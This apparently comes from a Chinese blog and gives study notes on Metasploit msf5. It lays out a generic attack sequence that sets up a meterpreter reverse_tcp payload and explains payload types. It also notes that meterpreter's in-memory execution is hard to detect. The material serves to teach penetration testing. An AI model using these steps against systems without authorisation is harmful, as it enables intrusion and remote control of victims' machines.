metasploit framework 笔记 | msf5 使用技巧

 

一、典型的攻击步骤

metasploit framework 笔记 | msf5 使用技巧_第1张图片

① use exploit/操作系统类型/漏洞类型/具体漏洞模块名称

——指定要使用漏洞利用模块

② set SRVHOST 攻击源IP

③ set PAYLOAD windows/meterpreter/reverse_tcp

——设置攻击载荷,也就是 shellcode,可以用来接收反弹的shell

④ set LHOST 被攻击者IP

⑤ exploit 

——执行攻击

 

二、某些细节

① set lhost x.x.x.x 和 setg lhost x.x.x.x 一样,setg 表示设置全局IP,global,lhost表示 local host,rhost ——remote host被攻击者的IP。

② set PAYLOAD windows/meterpreter/reverse_tcp 设置使用这个 shellcode 就是用来 getshell 的,用来在攻击成功后反弹被攻击者的 cmd 进程到攻击者机器上的某个端口,从而让攻击者使用被攻击者机器上的 cmd 程序。因此要设置 port。

③ show options 则可以用来看 攻击模块 和 攻击载荷 需要设置的东西,Required 一列下面是 yes 的全都要进行设置,是 no的最好不用画蛇添足。只执行了 use 攻击利用模块 的命令时,show option 只会看到一栏关于攻击利用模块的设置,执行了 set PAYLOAD 后就可以看到 shellcode 的相关设置。

④ msf 常见的模块有 exploit——攻击利用模块,PAYLOAD——shellcode模块,auxiliary——辅助模块,auxiliary 辅助模块多用来进行攻击前的扫描,其中包含了大量扫描脚本。

⑤ payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。也有人把payloads称 为shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。

⑥ payload有几种类型:

——singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload,比如将新用户添加到目标系统或运行CALC.EXE简单的东西。

——stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与 stages 配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。多是用 reverse进行网络连接的建立,然后发送stages到目标机获得shell。

——stages:传输体载荷,如shell,meterpreter等。在 stagers 建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。Stages是通过Stagers模块下载的payload组件!

由此可见,msf中的meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。

 

 

 

你可能感兴趣的:(二进制漏洞,技术研究,msf,metasploit,framework)